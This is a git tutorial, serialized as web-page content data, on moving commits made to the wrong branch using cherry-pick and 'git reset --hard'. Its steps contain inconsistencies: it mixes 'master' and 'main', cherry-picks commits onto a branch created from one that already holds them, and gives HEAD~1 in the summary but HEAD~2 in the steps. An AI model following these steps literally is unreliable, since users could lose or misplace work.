",[34,26989,26908],{},[18,26991,26993],{"id":26992},"step-1-identify-the-mistake-using-git-logs","Step 1 – Identify the Mistake Using Git Logs",[11,26995,26996,26997],{},"Before you move anything, you need to see exactly what happened. We use the log command to visualize the commit history. ",[1512,26998,26999,27000,27002],{},"(You're in ",[34,27001,26908],{}," branch yet)",[11,27004,27005],{},"Run the following command:",[85,27007,27009],{"className":17005,"code":27008,"language":17007,"meta":90,"style":90},"git log --oneline --all --graph\n",[34,27010,27011],{"__ignoreMap":90},[94,27012,27013,27016,27019,27022,27025],{"class":96,"line":97},[94,27014,27015],{"class":146},"git",[94,27017,27018],{"class":153}," log",[94,27020,27021],{"class":757}," --oneline",[94,27023,27024],{"class":757}," --all",[94,27026,27027],{"class":757}," --graph\n",[11,27029,27030],{},"What this does:",[483,27032,27033,27039,27045],{},[486,27034,27035,27038],{},[34,27036,27037],{},"--oneline",": Condenses the output so each commit is one line.",[486,27040,27041,27044],{},[34,27042,27043],{},"--all",": Shows all branches, not just the one you are on.",[486,27046,27047,27050],{},[34,27048,27049],{},"--graph",": Draws a text-based graphical representation of the branch history.",[85,27052,27054],{"className":17005,"code":27053,"language":17007,"meta":90,"style":90},"# example output of the above command:\n* a781459 (HEAD -> main) add authentication\n* c00ffa3 add login.html\n* a6567f9 update index.html\n* 4f1c99f add index.html\n",[34,27055,27056,27061,27081,27088,27095],{"__ignoreMap":90},[94,27057,27058],{"class":96,"line":97},[94,27059,27060],{"class":790},"# example output of the above command:\n",[94,27062,27063,27065,27068,27071,27073,27075,27078],{"class":96,"line":111},[94,27064,1272],{"class":753},[94,27066,27067],{"class":100}," a781459 (",[94,27069,27070],{"class":146},"HEAD",[94,27072,24946],{"class":100},[94,27074,8683],{"class":753},[94,27076,27077],{"class":153}," main",[94,27079,27080],{"class":100},") add authentication\n",[94,27082,27083,27085],{"class":96,"line":122},[94,27084,1272],{"class":753},[94,27086,27087],{"class":100}," c00ffa3 add login.html\n",[94,27089,27090,27092],{"class":96,"line":138},[94,27091,1272],{"class":753},[94,27093,27094],{"class":100}," a6567f9 update index.html\n",[94,27096,27097,27099],{"class":96,"line":164},[94,27098,1272],{"class":753},[94,27100,27101],{"class":100}," 4f1c99f add index.html\n",[11,27103,27104,27105,27107,27108,360],{},"Look for the most recent commits on ",[34,27106,26908],{},". You will see the \"add authentication\" commit at the top. Note that each commit has a unique 7-character ID (the \"hash\"), such as ",[34,27109,27110],{},"a1b2c3d",[18,27112,27114],{"id":27113},"step-2-copy-the-commit-ids","Step 2 – Copy the Commit IDs",[11,27116,27117],{},"To move your work to the correct feature branch, Git needs to know exactly which commits you are talking about. Identify the hashes of the commits that belong in the feature branch.",[11,27119,27120,27121,70,27124,360],{},"If you made three commits to the wrong branch, you need the hashes for all three. In our scenario, the hashes for \"add login\" and \"add authentication\" are ",[34,27122,27123],{},"c00ffa3",[34,27125,27126],{},"a781459",[16061,27128,27129],{},[11,27130,27131],{},"Tip: Always copy the hashes into a notepad or keep your terminal window open so you don't lose them!",[18,27133,27135],{"id":27134},"step-3-switch-to-the-correct-feature-branch","Step 3 – Switch to the Correct Feature Branch",[11,27137,27138],{},"Now, you need to go where the code should have gone. If the branch doesn't exist yet, create it and switch to it.",[85,27140,27142],{"className":17005,"code":27141,"language":17007,"meta":90,"style":90},"git checkout -b feature-login\n",[34,27143,27144],{"__ignoreMap":90},[94,27145,27146,27148,27151,27154],{"class":96,"line":97},[94,27147,27015],{"class":146},[94,27149,27150],{"class":153}," checkout",[94,27152,27153],{"class":757}," -b",[94,27155,27156],{"class":153}," feature-login\n",[18,27158,27160],{"id":27159},"step-4-move-commits-using-git-cherry-pick","Step 4 – Move Commits Using git cherry-pick",[11,27162,27163,27164,27167],{},"The \"magic\" command here is ",[34,27165,27166],{},"git cherry-pick",". This command takes a commit from one place and applies it to another.",[11,27169,27170],{},"Run the command using the hash you identified in Step 2:",[85,27172,27174],{"className":17005,"code":27173,"language":17007,"meta":90,"style":90},"git cherry-pick c00ffa3\ngit cherry-pick a781459\n",[34,27175,27176,27186],{"__ignoreMap":90},[94,27177,27178,27180,27183],{"class":96,"line":97},[94,27179,27015],{"class":146},[94,27181,27182],{"class":153}," cherry-pick",[94,27184,27185],{"class":153}," c00ffa3\n",[94,27187,27188,27190,27192],{"class":96,"line":111},[94,27189,27015],{"class":146},[94,27191,27182],{"class":153},[94,27193,27194],{"class":153}," a781459\n",[85,27196,27198],{"className":17005,"code":27197,"language":17007,"meta":90,"style":90},"# After cherry-picking\n* a781459 (HEAD -> feature-login, main) add authentication\n* c00ffa3 add login.html\n* a6567f9 update index.html\n* 4f1c99f add index.html\n",[34,27199,27200,27205,27224,27230,27236],{"__ignoreMap":90},[94,27201,27202],{"class":96,"line":97},[94,27203,27204],{"class":790},"# After cherry-picking\n",[94,27206,27207,27209,27211,27213,27215,27217,27220,27222],{"class":96,"line":111},[94,27208,1272],{"class":753},[94,27210,27067],{"class":100},[94,27212,27070],{"class":146},[94,27214,24946],{"class":100},[94,27216,8683],{"class":753},[94,27218,27219],{"class":153}," feature-login,",[94,27221,27077],{"class":153},[94,27223,27080],{"class":100},[94,27225,27226,27228],{"class":96,"line":122},[94,27227,1272],{"class":753},[94,27229,27087],{"class":100},[94,27231,27232,27234],{"class":96,"line":138},[94,27233,1272],{"class":753},[94,27235,27094],{"class":100},[94,27237,27238,27240],{"class":96,"line":164},[94,27239,1272],{"class":753},[94,27241,27101],{"class":100},[16061,27243,27244],{},[11,27245,27246,27249],{},[1183,27247,27248],{},"Important Note:"," If you have multiple commits to move, apply them in chronological order (oldest first). This prevents merge conflicts and keeps your history logical.",[11,27251,27252,27254,27255,27257,27258,27260],{},[34,27253,27166],{}," essentially \"copies\" the changes. Your \"Login\" code is now safely on the ",[34,27256,26986],{}," branch. However, a copy still exists on ",[34,27259,26908],{},". We need to fix that next.",[18,27262,27264],{"id":27263},"step-5-clean-the-master-branch","Step 5 – Clean the Master Branch",[11,27266,27267,27268,26909],{},"Now that your work is safe on the correct branch, we must remove the accidental commits from the ",[34,27269,26908],{},[11,27271,27272],{},"First, switch back to master:",[85,27274,27276],{"className":17005,"code":27275,"language":17007,"meta":90,"style":90},"git checkout master\n",[34,27277,27278],{"__ignoreMap":90},[94,27279,27280,27282,27284],{"class":96,"line":97},[94,27281,27015],{"class":146},[94,27283,27150],{"class":153},[94,27285,27286],{"class":153}," master\n",[11,27288,27289],{},"Then, use the reset command to roll back the branch to its state before the mistake:",[85,27291,27293],{"className":17005,"code":27292,"language":17007,"meta":90,"style":90},"git reset --hard HEAD~2\n",[34,27294,27295],{"__ignoreMap":90},[94,27296,27297,27299,27302,27305],{"class":96,"line":97},[94,27298,27015],{"class":146},[94,27300,27301],{"class":153}," reset",[94,27303,27304],{"class":757}," --hard",[94,27306,27307],{"class":153}," HEAD~2\n",[11,27309,27310],{},"What this command does:",[483,27312,27313,27319,27325],{},[486,27314,27315,27318],{},[34,27316,27317],{},"git reset",": Moves the current branch pointer to a previous state.",[486,27320,27321,27324],{},[34,27322,27323],{},"--hard",": This tells Git to discard all changes in the working directory. It makes master look exactly like it did before you made that mistake.",[486,27326,27327,27330,27331,27334,27335,360],{},[34,27328,27329],{},"HEAD~2",": This tells Git to go back exactly ",[1183,27332,27333],{},"two"," commits. If you made three accidental commits, you would use ",[34,27336,27337],{},"HEAD~3",[85,27339,27341],{"className":17005,"code":27340,"language":17007,"meta":90,"style":90},"# After reset\n* a781459 (feature-login) add authentication\n* c00ffa3 add login.html\n* a6567f9 (HEAD -> main) update index.html\n* 4f1c99f add index.html\n",[34,27342,27343,27348,27358,27364,27382],{"__ignoreMap":90},[94,27344,27345],{"class":96,"line":97},[94,27346,27347],{"class":790},"# After reset\n",[94,27349,27350,27352,27354,27356],{"class":96,"line":111},[94,27351,1272],{"class":753},[94,27353,27067],{"class":100},[94,27355,26986],{"class":146},[94,27357,27080],{"class":100},[94,27359,27360,27362],{"class":96,"line":122},[94,27361,1272],{"class":753},[94,27363,27087],{"class":100},[94,27365,27366,27368,27371,27373,27375,27377,27379],{"class":96,"line":138},[94,27367,1272],{"class":753},[94,27369,27370],{"class":100}," a6567f9 (",[94,27372,27070],{"class":146},[94,27374,24946],{"class":100},[94,27376,8683],{"class":753},[94,27378,27077],{"class":153},[94,27380,27381],{"class":100},") update index.html\n",[94,27383,27384,27386],{"class":96,"line":164},[94,27385,1272],{"class":753},[94,27387,27101],{"class":100},[16061,27389,27390],{},[11,27391,27392],{},"Use --hard with caution. Any uncommitted work in your directory will be permanently deleted. Always ensure your git status is clean before running this.",[18,27394,27396],{"id":27395},"when-should-you-use-git-cherry-pick","When Should You Use git cherry-pick?",[11,27398,27399],{},"Beyond fixing mistakes, git cherry-pick is useful in several real-world situations:",[483,27401,27402,27408,27414],{},[486,27403,27404,27407],{},[1183,27405,27406],{},"Hotfixes:"," When a bug is fixed on a development branch but needs to be applied to the production branch immediately.",[486,27409,27410,27413],{},[1183,27411,27412],{},"Undoing a Revert:"," If a feature was reverted but you want to bring back specific parts of it.",[486,27415,27416,27419],{},[1183,27417,27418],{},"Collaborative Work:"," If a teammate wrote a helper function on their branch that you need on yours.",[18,27421,27423],{"id":27422},"quick-summary","Quick Summary",[11,27425,27426,27427,27430],{},"Need to ",[1183,27428,27429],{},"fix a git commit to wrong branch"," in 30 seconds? I know you don't have time. Here is the cheat sheet:",[1940,27432,27433,27439,27445,27451,27457],{},[486,27434,27435,27436],{},"Find the commit hash: ",[34,27437,27438],{},"git log --oneline",[486,27440,27441,27442],{},"Go to the right branch: ",[34,27443,27444],{},"git checkout feature-branch",[486,27446,27447,27448],{},"Copy the work over: ",[34,27449,27450],{},"git cherry-pick \u003Ccommit-hash>",[486,27452,27453,27454],{},"Go back to master: ",[34,27455,27456],{},"git checkout master",[486,27458,27459,27460],{},"Erase the mistake: ",[34,27461,27462],{},"git reset --hard HEAD~1",[18,27464,27466],{"id":27465},"conclusion","Conclusion",[11,27468,27469],{},"Fixing a git commit to wrong branch is a foundational skill that transforms you from a panicked beginner into a confident developer.",[11,27471,27472],{},"The next time you realize you're on the wrong branch, don't delete your folder and start over. Use the steps above to move your code like a pro.",[11,27474,25487],{},[8983,27476,27477],{},"html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}",{"title":90,"searchDepth":111,"depth":111,"links":27479},[27480,27481,27482,27483,27484,27485,27486,27487,27488,27489],{"id":26915,"depth":111,"text":26916},{"id":26947,"depth":111,"text":26948},{"id":26992,"depth":111,"text":26993},{"id":27113,"depth":111,"text":27114},{"id":27134,"depth":111,"text":27135},{"id":27159,"depth":111,"text":27160},{"id":27263,"depth":111,"text":27264},{"id":27395,"depth":111,"text":27396},{"id":27422,"depth":111,"text":27423},{"id":27465,"depth":111,"text":27466},"2026-03-06","Accidentally made a git commit to wrong branch? Learn how to move commits to a feature branch and clean up master using git cherry-pick and reset.","git-commit-to-wrong-branch-fix.png",{},"/how-to/git-commit-to-wrong-branch-fix",{"title":26889,"description":27491},"How-To/1.git-commit-to-wrong-branch-fix",[27015,27498,27499],"version control","cherry-pick","n8isUYA0g4UX-h0sD-YAESjnQ7-UuIHQEF_OxEKfHs8",1777663199595]